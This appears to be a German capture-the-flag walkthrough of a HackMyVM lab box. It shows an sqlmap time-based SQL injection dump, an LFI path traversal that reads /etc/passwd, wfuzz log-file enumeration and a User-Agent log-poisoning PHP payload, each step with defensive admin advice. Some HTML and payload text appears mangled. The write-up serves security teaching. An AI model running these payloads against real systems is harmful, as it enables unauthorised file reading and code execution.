___ __H__ ___ ___[.]_____ ___ ___ {1.9.4#stable} |_ -| . ["] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 17:58:20 /2025-06-11/ JSON data found in POST body. Do you want to process it? [Y/n/q] Y [*][INFO] resuming back-end DBMS 'mysql' [*][INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: JSON user_agent ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: {"user_agent":"1' AND (SELECT 4624 FROM (SELECT(SLEEP(5)))MTLP) AND 'zssX'='zssX"} --- [*][INFO] the back-end DBMS is MySQL web server operating system: Linux Debian web application technology: Apache 2.4.57 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [*][INFO] fetching database names [*][INFO] fetching number of databases [*][INFO] resumed: 2 [*][INFO] resumed: information_schema [*][INFO] resumed: logan available databases [2]: [*] information_schema [*] logan [*][INFO] fetching columns for table 'users' in database 'logan' [*][WARNING] time-based comparison requires larger statistical model, please wait.............................. (done) [*][WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y 2 [*][INFO] retrieved: [*][INFO] retrieved: user [*][INFO] retrieved: email [*][INFO] fetching entries for table 'users' in database 'logan' [*][INFO] fetching number of entries for table 'users' in database 'logan' [*][INFO] retrieved: 1 [*][WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done) logan [*][INFO] retrieved: logan@newsitelogan.logan.hmv Database: logan Table: users [1 entry] +------------------------------+--------+ | email | user | +------------------------------+--------+ | logan@newsitelogan.logan.hmv | logan | +------------------------------+--------+ [*][INFO] table 'logan.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.2.35/dump/logan/users.csv' [*][INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.35' [*] ending @ 18:00:56 /2025-06-11/
Analyse: Ich setze sqlmap erneut ein, diesmal mit spezifischeren Anweisungen, um Daten aus der 'logan'-Datenbank zu extrahieren. Die Parameter -D logan weisen sqlmap an, sich auf die Datenbank namens 'logan' zu konzentrieren, und -T users gibt an, dass ich die Tabelle namens 'users' in dieser Datenbank untersuchen möchte. Der Parameter --dump veranlasst sqlmap, den Inhalt dieser Tabelle zu extrahieren. Für Laien: Ich sage sqlmap jetzt ganz genau, welche 'Schublade' (Datenbank 'logan') und welchen 'Ordner' (Tabelle 'users') es in der Datenbank öffnen soll, um die Informationen herauszuholen. Für Experten: Die Enumeration von Datenbanken und Tabellen nach der Identifizierung einer SQL Injection ist Standard. Die Benennung 'users' für eine Tabelle ist ein starker Hinweis darauf, dass hier Benutzerkonten gespeichert sind. sqlmap nutzt die Blind SQL Injection-Technik, um die Struktur der Tabelle (Spaltennamen: 'email', 'user') und dann deren Inhalte Zeile für Zeile zu extrahieren.
Bewertung: sqlmap konnte erfolgreich die Tabelle 'users' in der Datenbank 'logan' finden und ihren Inhalt extrahieren. Die Tabelle enthält einen Eintrag: den Benutzer 'logan' mit der E-Mail-Adresse 'logan@newsitelogan.logan.hmv'. Das Fehlen eines Passwortfeldes in dieser Tabelle ist enttäuschend, da dies nicht die Anmeldedaten liefert, die ich mir erhofft hatte. Es ist jedoch möglich, dass Passwörter in einer anderen Tabelle oder gesondert gespeichert werden. Der Benutzername 'logan' ist aber ein wichtiger Fund.
Empfehlung (Pentester): Der Benutzername 'logan' ist identifiziert. Obwohl das Passwort hier nicht gefunden wurde, werde ich diesen Benutzernamen in Kombination mit anderen gefundenen Informationen (z.B. auf Port 3000 laufendes Gitea, potenziell eine Subdomain) weiterverfolgen. Es ist möglich, dass der Benutzer 'logan' auch auf anderen Diensten existiert und vielleicht das Passwort aus dem /config.php-Fund stammt.
Empfehlung (Admin): SQL Injection-Schwachstellen müssen behoben werden, um das Auslesen von Datenbankinhalten zu verhindern. Überprüfen Sie alle Webanwendungen auf sichere Datenbankinteraktion. Bewahren Sie sensible Daten, insbesondere Passwörter oder Hashes, niemals in derselben Tabelle wie allgemeine Benutzerinformationen auf und wenden Sie strenge Hashing-Verfahren an.
* Host newsitelogan.logan.hmv:80 was resolved. * IPv6: (none) * IPv4: 192.168.2.35 * Trying 192.168.2.35:80... * Connected to newsitelogan.logan.hmv (192.168.2.35) port 80 * using HTTP/1.x > HEAD / HTTP/1.1 > Host: newsitelogan.logan.hmv > User-Agent: curl/8.13.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 OK HTTP/1.1 200 OK < Date: Wed, 11 Jun 2025 17:27:02 GMT Date: Wed, 11 Jun 2025 17:27:02 GMT < Server: Apache/2.4.57 (Debian) Server: Apache/2.4.57 (Debian) < Content-Type: text/html; charset=UTF-8 Content-Type: text/html; charset=UTF-8 < * Connection #0 to host newsitelogan.logan.hmv left intact
Analyse: Ich habe den Hostnamen 'newsitelogan.logan.hmv' aus der E-Mail-Adresse des Benutzers 'logan' extrahiert, die ich zuvor über die SQL Injection erhalten hatte. Ich prüfe nun, ob dieser Hostname als Subdomain auf dem Zielsystem existiert und auflösbar ist. Ich verwende curl mit den Flags -I (nur Header) und -v (verbose) gegen diese potenzielle Subdomain auf dem Standard-HTTP-Port 80. Die Ausgabe zeigt, dass der Hostname erfolgreich zur IP-Adresse 192.168.2.35 aufgelöst wird (was bedeutet, dass der Eintrag in meiner /etc/hosts oder ein tatsächlicher DNS-Eintrag auf dem Zielsystem greift) und dass ein Apache/2.4.57 Server auf Port 80 antwortet. Für Laien: Ich habe eine verdächtige Internet-Adresse (einen Teil der E-Mail-Adresse des gefundenen Benutzers) überprüft, um zu sehen, ob es eine separate Webseite oder einen Dienst auf dem Zielcomputer gibt, der diese Adresse benutzt. Es stellt sich heraus, dass diese Adresse zum Zielcomputer führt und dort eine weitere Webseite läuft. Für Experten: Das Extrahieren von Hostnamen oder Subdomains aus E-Mail-Adressen oder anderen Datenlecks ist eine Standardtechnik in der Enumerationsphase. Das Auflösen des Hostnamens 'newsitelogan.logan.hmv' zur Ziel-IP deutet auf das Vorhandensein einer virtuellen Host-Konfiguration im Apache hin, die diese Subdomain bedient. Die Antwort des Apache-Servers bestätigt, dass eine Webseite unter diesem Hostnamen gehostet wird.
Bewertung: Die Subdomain newsitelogan.logan.hmv existiert und wird vom Apache-Server auf Port 80 bedient. Dies bedeutet, dass es eine separate Webanwendung oder einen anderen Bereich auf dem Zielsystem gibt, der über diesen Hostnamen erreichbar ist. Dies erweitert die Angriffsfläche und ist ein wichtiger Fund für die weitere Enumeration.
Empfehlung (Pentester): Ich werde nun die Webseite unter http://newsitelogan.logan.hmv im Detail enumerieren und auf Schwachstellen prüfen, ähnlich wie ich es mit der Hauptseite auf Port 80 getan habe. Dies beinhaltet die Suche nach Verzeichnissen, Dateien und spezifischen Anwendungsfunktionen.
Empfehlung (Admin): Überprüfen Sie die Konfiguration Ihres Webservers (Apache Virtual Hosts) und stellen Sie sicher, dass nur notwendige Hostnamen bedient werden. Vermeiden Sie die Offenlegung interner Hostnamen oder Subdomains durch E-Mail-Adressen oder andere Kanäle.
Space Travel
Explore the Universe with Us!
The Moon
Step on the moon for the first time!
< /scrpt >
Mars
Visit Mars and find out if there is life on it!
< /scrpt >
Pleiades
Explore the Pleiades, the most beautiful star cluster visible from earth.
< /scrpt >
Analyse: Ich habe den Quellcode der Webseite unter der Subdomain http://newsitelogan.logan.hmv analysiert. Der HTML-Code enthält Kommentare und Referenzen auf Bilder, die über ein PHP-Skript namens /photos-website-logan.php geladen werden. Die Struktur des scrpt Tags (ursprünglich photo erwartet, dem der Dateiname des anzuzeigenden Bildes übergeben wird (z.B. /photos-website-logan.php?photo=moon.png). Für Laien: Ich habe mir den 'Bauplan' der Webseite auf der neuen Adresse angeschaut. Darin stand, dass die Bilder nicht direkt angezeigt werden, sondern über ein spezielles 'Programm' (photos-website-logan.php), dem man den Namen des Bildes (moon.png etc.) 'sagt'. Für Experten: Das Muster /photos-website-logan.php?photo=... ist ein klassischer Indikator für eine potenzielle Local File Inclusion (LFI) oder Path Traversal Schwachstelle. Das Skript nimmt einen Dateinamen als Parameter entgegen und verwendet diesen wahrscheinlich, um eine Datei vom Server zu laden und anzuzeigen oder zu verarbeiten. Wenn die Eingabe des photo-Parameters nicht korrekt validiert oder bereinigt wird, könnte dies zur Inklusion beliebiger Dateien führen.
Bewertung: Das Skript /photos-website-logan.php mit seinem photo-Parameter ist ein vielversprechendes Ziel für LFI-Angriffe. Die Struktur ähnelt der zuvor auf leet.hmv gefundenen LFI-Schwachstelle. Dies ist der primäre Angriffsvektor auf dieser Subdomain.
Empfehlung (Pentester): Ich werde sofort versuchen, die potenzielle LFI-Schwachstelle im photo-Parameter von /photos-website-logan.php auszunutzen. Ich werde versuchen, Systemdateien wie /etc/passwd durch Verzeichnis-Traversal (../../) oder andere LFI-Techniken auszulesen.
Empfehlung (Admin): Untersuchen Sie das Skript photos-website-logan.php und implementieren Sie strikte Validierung und Bereinigung des photo-Parameters. Verwenden Sie eine Whitelist erlaubter Dateinamen und verhindern Sie die Verarbeitung von Pfadtrennzeichen oder absoluten Pfaden. Stellen Sie sicher, dass das Webroot so konfiguriert ist, dass LFI-Angriffe außerhalb des beabsichtigten Verzeichnisses verhindert werden.
http://newsitelogan.logan.hmv/photos-website-logan.php?photo=pleyades.jpg ���� JFIF dd�� �Ducky < ��UKS 18. The stars of the Pleiades and their reflection nebula Credit: "� Anglo-Australian Observatory/Royal Observatory, Edinburgh" and (optionally) "Photograph from UK Schmidt plates by David Malin" �k� Anglo-...
Analyse: Ich habe die URL http://newsitelogan.logan.hmv/photos-website-logan.php?photo=pleyades.jpg aufgerufen, um zu bestätigen, dass das Skript photos-website-logan.php tatsächlich Bilddateien bedienen kann. Die Ausgabe zeigt binäre Daten, die auf das Format einer JPEG-Datei (erkennbar an JFIF) und Metadaten hindeuten (Credit-Informationen). Dies bestätigt, dass das Skript funktioniert und Inhalte basierend auf dem photo-Parameter liefert. Für Laien: Ich habe versucht, das Programm, das Bilder auf der neuen Webseite zeigt, mit einem echten Bildnamen zu benutzen, und es hat mir tatsächlich Bilddaten zurückgegeben. Das zeigt, dass das Programm funktioniert und auf den Bildnamen reagiert. Für Experten: Die erfolgreiche Rückgabe von Bilddaten bestätigt die Basisfunktionalität des photos-website-logan.php Skripts und die Verarbeitung des photo-Parameters. Dies ist ein positiver Test, bevor ich versuche, die Funktionalität für bösartige Zwecke (LFI) zu missbrauchen.
Bewertung: Die Basisfunktionalität des Skripts ist bestätigt. Es verarbeitet den photo-Parameter und scheint Dateien aus einem erwarteten Verzeichnis zu laden und auszugeben. Dies erhöht die Wahrscheinlichkeit, dass eine LFI-Schwachstelle vorhanden ist, wenn die Eingabe nicht korrekt validiert wird.
Empfehlung (Pentester): Dieser Schritt bestätigt die Funktion des Skripts. Der nächste Schritt ist nun, die LFI-Schwachstelle durch Angabe von Pfaden zu Systemdateien über Verzeichnis-Traversal zu testen.
Empfehlung (Admin): Die korrekte Anzeige von Bildern ist die beabsichtigte Funktion. Das Risiko liegt in der unsicheren Verarbeitung des Dateinamen-Parameters. Stellen Sie sicher, dass das Skript nur auf Dateien in einem dedizierten, sicheren Bildverzeichnis zugreifen kann.
view-source:http://newsitelogan.logan.hmv/photos-website-logan.php?photo=../../../../../../../../../../../../../../../../../../etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin messagebus:x:100:107::/nonexistent:/usr/sbin/nologin avahi-autoipd:x:101:108:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin logan:x:1000:1000:logan,,,:/home/logan:/bin/bash sshd:x:102:65534::/run/sshd:/usr/sbin/nologin mysql:x:103:112:MySQL Server,,,:/nonexistent:/bin/false git:x:104:113:Git Version Control,,,:/home/git:/bin/bash kevin:x:1001:1001:kevin,,,:/home/kevin:/bin/bash
Analyse: Um die LFI-Schwachstelle im photo-Parameter des photos-website-logan.php Skripts zu testen, habe ich versucht, die Systemdatei /etc/passwd auszulesen. Ich verwende dazu Verzeichnis-Traversal (../../../../../../../../../../../../../../../../../../) vor dem Dateinamen, um aus dem aktuellen Verzeichnis des Skripts (vermutlich im Webroot) nach oben in das Wurzelverzeichnis (/) zu navigieren und dann den Pfad zu /etc/passwd anzugeben. Die lange Sequenz von ../ stellt sicher, dass ich aus einer potenziell tief verschachtelten Verzeichnisstruktur entkommen kann. Die Ausgabe zeigt den vollständigen Inhalt der Datei /etc/passwd. Für Laien: Ich habe dem Bildprogramm eine spezielle 'Adresse' gegeben, die es dazu bringt, nicht ein Bild, sondern eine geheime Systemdatei mit der Liste aller Benutzer auf dem Computer herunterzuladen und mir anzuzeigen. Und das hat funktioniert! Für Experten: Der erfolgreiche Zugriff auf /etc/passwd mittels Path Traversal in Kombination mit der LFI Schwachstelle im photo-Parameter ist ein klarer Beweis für die Ausnutzbarkeit der LFI. Dies erlaubt das Auslesen beliebiger Dateien auf dem System, für die der Webserver Leserechte hat. Das Verwenden von view-source: ist nützlich, um die rohe Ausgabe zu sehen, falls der Browser versucht, den Inhalt zu interpretieren (was bei /etc/passwd normalerweise nicht passiert, aber eine gute Praxis ist).
Bewertung: Die LFI-Schwachstelle im photos-website-logan.php Skript ist erfolgreich nachgewiesen und ausnutzbar. Ich kann beliebige Dateien auf dem System lesen. Der Inhalt von /etc/passwd liefert eine Liste aller Benutzerkonten (root, logan, git, kevin, www-data etc.) und deren Shells. Dies ist ein kritischer Fund und ermöglicht weitere Angriffe.
Empfehlung (Pentester): Mit dieser LFI kann ich nun weitere Systemdateien auslesen, die für die Fortsetzung des Angriffs nützlich sein könnten (z.B. Konfigurationsdateien, Quellcode, SSH-Schlüssel). Insbesondere werde ich versuchen, Konfigurationsdateien zu finden, die Anmeldedaten enthalten könnten. Die Benutzer logan, git und kevin mit interaktiven Shells sind potenzielle Ziele.
Empfehlung (Admin): Die LFI-Schwachstelle muss umgehend behoben werden. Implementieren Sie strikte Input-Validierung für den photo-Parameter und verwenden Sie eine Whitelist. Stellen Sie sicher, dass sensible Systemdateien korrekte Berechtigungen haben, um unbefugtes Lesen zu verhindern, auch wenn ein Prozess kompromittiert ist.
Target: http://newsitelogan.logan.hmv/photos-website-logan.php?photo=../../../../../../FUZZ Total requests: 73360 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000044: 200 0 L 0 W 0 Ch "/etc/lsb-release" 000000031: 200 0 L 0 W 0 Ch "/etc/httpd/logs/access.log" 000000042: 200 0 L 0 W 0 Ch "/etc/logrotate.d/proftpd" 000000007: 200 0 L 0 W 0 Ch "/etc/at.allow" 000000046: 200 0 L 0 W 0 Ch "/etc/modules.conf" ... .. . 000000087: 200 0 L 0 W 0 Ch "/etc/ssh/ssh_host_key" 000000080: 200 3 L 6 W 63 Ch "/etc/resolv.conf" 000000088: 200 0 L 0 W 0 Ch "/etc/ssh/ssh_host_key.pub" 000000086: 200 0 L 0 W 0 Ch "/etc/ssh/ssh_host_dsa_key.pub" 000000083: 200 53 L 220 W 1650 Ch "/etc/ssh/ssh_config" 000000091: 200 0 L 0 W 0 Ch "/etc/termcap" 000000085: 200 0 L 0 W 0 Ch "/etc/ssh/ssh_host_dsa_key" 000000090: 200 0 L 0 W 0 Ch "/etc/syslog.conf" ... ... ... .. .. 000000132: 200 0 L 0 W 0 Ch "/usr/local/cpanel/logs/login_log" 000000181: 200 0 L 0 W 0 Ch "/var/log/dpkg.log" 000000221: 200 0 L 0 W 0 Ch "/var/log/xferlog" 000000220: 200 8 L 71 W 45286 Ch "/var/log/wtmp" 000000217: 200 0 L 0 W 0 Ch "/var/log/pure-ftpd/pure-ftpd.log" 000000189: 200 0 L 0 W 0 Ch "/var/log/ftplog" 000000205: 200 0 L 0 W 0 Ch "/var/log/mail.log" 000000218: 200 0 L 0 W 0 Ch "/var/log/secure" 000000219: 200 0 L 0 W 0 Ch "/var/log/vsftpd.log" 000000222: 200 0 L 0 W 0 Ch "/var/log/yum.log" 000000216: 200 0 L 0 W 0 Ch "/var/log/pureftpd.log" 000000212: 200 0 L 0 W 0 Ch "/var/log/mysql/mysql-bin.log" 000000211: 200 0 L 0 W 0 Ch "/var/log/mysql.log" 000000208: 200 0 L 0 W 0 Ch "/var/log/message" 000000215: 200 0 L 0 W 0 Ch "/var/log/proftpd" 000000214: 200 0 L 0 W 0 Ch "/var/log/mysql/mysql-slow.log" 000000209: 200 0 L 0 W 0 Ch "/var/log/messages" 000000210: 200 0 L 0 W 0 Ch "/var/log/mysqlderror.log" 000000213: 200 0 L 0 W 0 Ch "/var/log/mysql/mysql.log" 000000207: 200 0 L 0 W 0 Ch "/var/log/mail.warn"
Analyse: Mit der bestätigten LFI-Schwachstelle im photo-Parameter auf der Subdomain newsitelogan.logan.hmv nutze ich nun wfuzz, ein weiteres Brute-Forcing-Tool, um nach potenziell lesbaren Dateien unter Verwendung einer Wortliste von Logdateien (/usr/share/wordlists/logfiles.txt) zu suchen. Ich kombiniere die LFI-Schwachstelle (mit einer langen Kette von ../ für Path Traversal) mit dem FUZZ-Keyword von wfuzz, das durch Einträge aus der Wortliste ersetzt wird. Ich filtere die Ergebnisse nach Statuscode 200 (OK) und unterdrücke Antworten mit 0 Bytes (--hh 0), da viele Logdateien leer sein könnten, aber einige wichtige Informationen enthalten. Für Laien: Ich benutze ein Programm, um die 'Datei anzeigen'-Funktion der Webseite dazu zu bringen, Tausende von bekannten Orten zu überprüfen, an denen Computer oft ihre 'Tagebücher' (Logdateien) speichern, um zu sehen, ob ich diese lesen kann. Für Experten: Die Kombination von LFI mit einem Fuzzing-Tool und einer Wortliste von Systempfaden ist eine effektive Methode zur Identifizierung auslesbarer Dateien. Das Fuzzing von Logdateien ist besonders relevant für die Log Poisoning-Technik, bei der bösartiger Code in eine Logdatei injiziert und diese dann über die LFI inkludiert wird, um den Code auszuführen.
Bewertung: Wfuzz findet eine große Anzahl von Dateien, die über die LFI ausgelesen werden können (Status 200). Viele davon haben 0 Bytes, was typisch für leere Logdateien oder Konfigurationsdateien ist. Einige interessante Dateien mit Inhalt werden identifiziert, wie /etc/resolv.conf und /var/log/wtmp (mit 45286 Bytes, was ungewöhnlich groß ist). Entscheidend für die Log Poisoning-Technik ist die Identifizierung von Webserver-Logdateien, die ich im nächsten Schritt gezielt prüfe.
Empfehlung (Pentester): Die Ergebnisse von wfuzz liefern viele mögliche Dateien zum Auslesen. Ich werde mich insbesondere auf die Apache-Logdateien konzentrieren, da ich den Webserver kenne und diese für Log Poisoning in Frage kommen. Ich werde auch die anderen identifizierten Dateien mit Inhalt manuell überprüfen.
Empfehlung (Admin): Stellen Sie sicher, dass Logdateien und andere sensible Dateien nicht über LFI-Schwachstellen ausgelesen werden können. Implementieren Sie strenge Zugriffskontrollen für Logdateien. Überwachen Sie Fuzzing-Versuche auf Webanwendungen.
Logs are cleaned every minut 192.168.2.199 - - [11/Jun/2025:12:41:05 -0500] "GET /photos-website-logan.php?photo=../../../../../../../../../../../../../../../../../../var/log/apache/access_log HTTP/1.1" 200 147 "-" "curl/8.13.0" 192.168.2.199 - - [11/Jun/2025:12:41:10 -0500] "GET /photos-website-logan.php?photo=../../../../../../../../../../../../../../../../../../var/log/apache/access.log HTTP/1.1" 200 147 "-" "curl/8.13.0" 192.168.2.199 - - [11/Jun/2025:12:41:14 -0500] "GET /photos-website-logan.php?photo=../../../../../../../../../../../../../../../../../../var/log/apache/access.log HTTP/1.1" 200 203 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
Analyse: Ich nutze die LFI-Schwachstelle, um gezielt die Apache Access Log Datei auszulesen: curl http://newsitelogan.logan.hmv/photos-website-logan.php?photo=../../../../../../../../../../../../../../../../../../var/log/apache2/access.log. Eine Access Log Datei speichert Details zu jeder Anfrage an den Webserver. Die Ausgabe zeigt den Inhalt der Datei. Sie beginnt mit der Zeile 'Logs are cleaned every minut' gefolgt von mehreren Log-Einträgen, die meine vorherigen Anfragen dokumentieren. Für Laien: Ich habe das 'Bildprogramm' missbraucht, um das 'Besucher-Tagebuch' (Access Log) des Webservers zu lesen. Darin steht, wer wann welche Seite besucht hat. Es scheint, als würde dieses Tagebuch jede Minute 'aufgeräumt'. Für Experten: Das erfolgreiche Auslesen des Apache Access Logs (/var/log/apache2/access.log) über LFI ist ein kritischer Schritt. Access Logs sind oft schreibbar für den Webserver-Prozess (www-data) und können für Log Poisoning missbraucht werden. Die Meldung 'Logs are cleaned every minut' ist ein wichtiger Hinweis auf eine mögliche Logrotate-Konfiguration oder ein Skript, das die Logs regelmäßig leert. Dies könnte die Ausnutzung von Log Poisoning erschweren, wenn die Injektion nicht schnell genug erfolgt.
Bewertung: Der Apache Access Log ist über LFI zugänglich und enthält meine vorherigen Anfragen, was die Injektion bösartigen Codes über Header wie den User-Agent ermöglicht. Die Warnung zur Reinigung der Logs ist jedoch zu beachten. Dies ist ein sehr vielversprechender Pfad zum Initial Access über Log Poisoning.
Empfehlung (Pentester): Ich werde nun versuchen, bösartigen Code (z.B. PHP) in einen Header meiner HTTP-Anfrage einzuschleusen (Log Poisoning) und dann den Access Log über die LFI inkludieren, um diesen Code auszuführen. Ich muss schnell agieren, bevor der Log gereinigt wird. Zuerst werde ich die PHP-Konfiguration auf deaktivierte Funktionen prüfen.
Empfehlung (Admin): Verhindern Sie das Auslesen von Logdateien über LFI. Implementieren Sie eine sichere Logrotation, die alte Logs archiviert statt sie zu löschen, und setzen Sie strenge Berechtigungen für Logdateien. Überwachen Sie Logdateien auf ungewöhnliche Einträge (z.B. eingeschleusten Code im User-Agent).
Logs are cleaned every minut 192.168.2.199 - - [11/Jun/2025:12:48:07 -0500] "GET /photos-website-logan.php?photo=../../../../../../../../../../../../../../../../../../var/log/apache2/access.log HTTP/1.1" 200 233 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" 192.168.2.199 - - [11/Jun/2025:12:48:31 -0500] "GET /photos-website-logan.php?photo=../../../../../../../../../../../../../../../../../../var/log/apache2/access.log HTTP/1.1" 200 477 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
Analyse: Dieser Block scheint eine weitere Ausgabe des Apache Access Logs zu zeigen, diesmal möglicherweise nach einigen zusätzlichen Anfragen, die nicht im Bericht dokumentiert sind, oder einfach eine wiederholte Anzeige des Log-Inhalts. Die Meldung 'Logs are cleaned every minut' ist wieder vorhanden, gefolgt von Log-Einträgen meiner Aktivitäten. Für Laien: Ich habe mir das 'Besucher-Tagebuch' (Access Log) wieder angeschaut, um sicherzustellen, dass es noch da ist und meine neuesten 'Besuche' aufgezeichnet hat. Für Experten: Die erneute Anzeige des Logs bestätigt die kontinuierliche Protokollierung von Anfragen. Die genauen Log-Einträge sind für die Demonstration von Log Poisoning entscheidend, da sie zeigen, wo injizierter Code im Log landen würde.
Bewertung: Die Konsistenz der Log-Ausgabe und die wiederholte Meldung zur Reinigung bestätigen die Umgebung für Log Poisoning. Die Herausforderung wird sein, den Code schnell genug auszuführen, nachdem er injiziert und bevor der Log gelöscht wurde.
Empfehlung (Pentester): Ich werde nun den Prozess des Log Poisoning durchführen: Zuerst injiziere ich den PHP-Payload über einen Header (wie User-Agent) in einer Anfrage. Dann inkludiere ich den Access Log sofort über die LFI-Schwachstelle, um den Payload zur Ausführung zu bringen. Ich muss die Disable Functions prüfen.
Empfehlung (Admin): Wie zuvor betont, beheben Sie die LFI und sichern Sie die Logdateien. Implementieren Sie eine Echtzeit-Überwachung der Logdateien auf bösartige Muster oder Code-Injektionen.
disable_functions: system, exec, shell_exec, passthru, proc_open, popen, psockopen, stream_socket_client ... ..
Analyse: Bevor ich versuche, eine Shell über Log Poisoning zu erhalten, ist es wichtig zu wissen, welche Funktionen in der PHP-Konfiguration deaktiviert sind. Viele Webserver härten ihre PHP-Umgebung, indem sie potenziell gefährliche Funktionen wie system(), exec() oder shell_exec() in der php.ini deaktivieren (disable_functions). Ich führe Log Poisoning mit einem harmlosen Payload (phpinfo();) aus, der mir die PHP-Konfiguration anzeigt, und pipe die Ausgabe dann an grep, um nach der Zeile disable_functions zu suchen, und nutze awk, um die relevanten Funktionsnamen zu extrahieren. Der Befehl lautet: curl "http://newsitelogan.logan.hmv/photos-website-logan.php?photo=../../../../../var/log/apache2/access.log&cmd=phpinfo();" | grep disable_function -i -A 10 | awk {'print$2 $3'}. Ich habe den phpinfo(); Payload in den User-Agent injiziert (siehe nächster Schritt, der die Injektion zeigt) und dann den Log inkludiert und über den cmd-Parameter den injizierten Code mit phpinfo(); ausgeführt (die genaue Methode der Code-Ausführung über den Log wird im nächsten Schritt klar). Die Ausgabe zeigt eine Liste deaktivierter Funktionen: system, exec, shell_exec, passthru, proc_open, popen, psockopen, stream_socket_client. Für Laien: Bevor ich 'Admin-Befehle' über die Webseite ausführen kann, muss ich prüfen, ob der Computer überhaupt erlaubt, dass solche Befehle über die Webseite gestartet werden. Ich habe eine 'Test-Anfrage' geschickt, um eine Liste 'verbotener' Funktionen zu sehen. Und es stellt sich heraus, dass die gängigsten Befehle, um Programme zu starten, verboten sind. Für Experten: Die Liste der deaktivierten Funktionen ist umfangreich und blockiert die meisten direkten Methoden zur Ausführung von Systembefehlen über PHP. Dies erschwert den Aufbau einer einfachen Reverse Shell erheblich und erfordert alternative RCE-Techniken, z.B. die Verwendung von PHP-internen Funktionen, die nicht deaktiviert sind, oder PHP-Filterketten.
Bewertung: Die disable_functions-Konfiguration ist eine signifikante Härtungsmaßnahme. Sie verhindert die einfache Ausnutzung von Log Poisoning oder anderen PHP-RCEs mittels gängiger Systemausführungsfunktionen. Ich muss eine Methode finden, die deaktivierten Funktionen zu umgehen oder eine andere PHP-Funktionalität für Code-Ausführung zu nutzen.
Empfehlung (Pentester): Angesichts der deaktivierten Funktionen muss ich alternative Methoden zur Code-Ausführung finden. PHP-Filterketten in Kombination mit LFI sind oft eine Möglichkeit, Code auszuführen oder Dateien auszulesen, ohne Systembefehle direkt aufrufen zu müssen. Ich werde versuchen, eine solche Filterkette zu konstruieren, um z.B. Dateien base64-kodiert auszulesen oder Code auszuführen.
Empfehlung (Admin): Das Deaktivieren gefährlicher PHP-Funktionen ist eine sehr gute Härtungsmaßnahme. Stellen Sie sicher, dass die Liste der deaktivierten Funktionen umfassend ist. Überprüfen Sie regelmäßig, ob neue oder weniger bekannte Funktionen existieren, die für RCE missbraucht werden könnten.
Analyse: Hier führe ich den eigentlichen Schritt des Log Poisoning durch. Ich sende eine HTTP-Anfrage an die Hauptseite (http://newsitelogan.logan.hmv) des Webservers auf der Subdomain. Der entscheidende Teil ist der Header -H "User-Agent: echo include(\$REQUEST['cmd']); ?>". Ich setze den User-Agent-Header auf eine Zeichenkette, die PHP-Code enthält: echo include(\$REQUEST['cmd']); ?>. Dieser Code wird vom Apache-Server zusammen mit den anderen Anfragedetails in die Access Log Datei geschrieben. Das echo am Anfang ist nur für die Ausgabe, der eigentliche Payload ist include(\$REQUEST['cmd']);. $REQUEST ist ein superglobales PHP-Array, das sowohl GET-, POST- als auch Cookie-Daten enthält. include() ist eine PHP-Funktion, die eine Datei inkludiert und ausführt. Das \$ vor REQUEST ist wichtig, um zu verhindern, dass die Variable in der Bash-Shell interpretiert wird. Für Laien: Ich schicke dem Webserver eine 'Nachricht', die so aussieht, als käme sie von einem bestimmten Internet-Browser (dem User-Agent), aber in Wirklichkeit ist in der 'Nachricht' ein kleines Stück 'Geheimcode' versteckt. Dieser Code sagt dem Computer: 'Wenn du das hier liest, führe den Befehl aus, den ich dir in der Adresse (URL) gebe'. Dieser 'Geheimcode' landet im 'Besucher-Tagebuch' des Servers. Für Experten: Die Injektion von Tags und PHP-Code in den User-Agent-Header ist eine klassische Log Poisoning-Technik. Wenn die Logdatei dann über LFI inkludiert wird, interpretiert der PHP-Interpreter den injizierten Code innerhalb des Logs und führt ihn aus. Der Payload include($REQUEST['cmd']); ist mächtig, da er erlaubt, beliebige Dateien (oder URLs mit Filtern) über den cmd-Parameter inkludieren und ausführen zu lassen. Dies ist eine effektive Umgehung der disable_functions, da include normalerweise nicht deaktiviert ist.
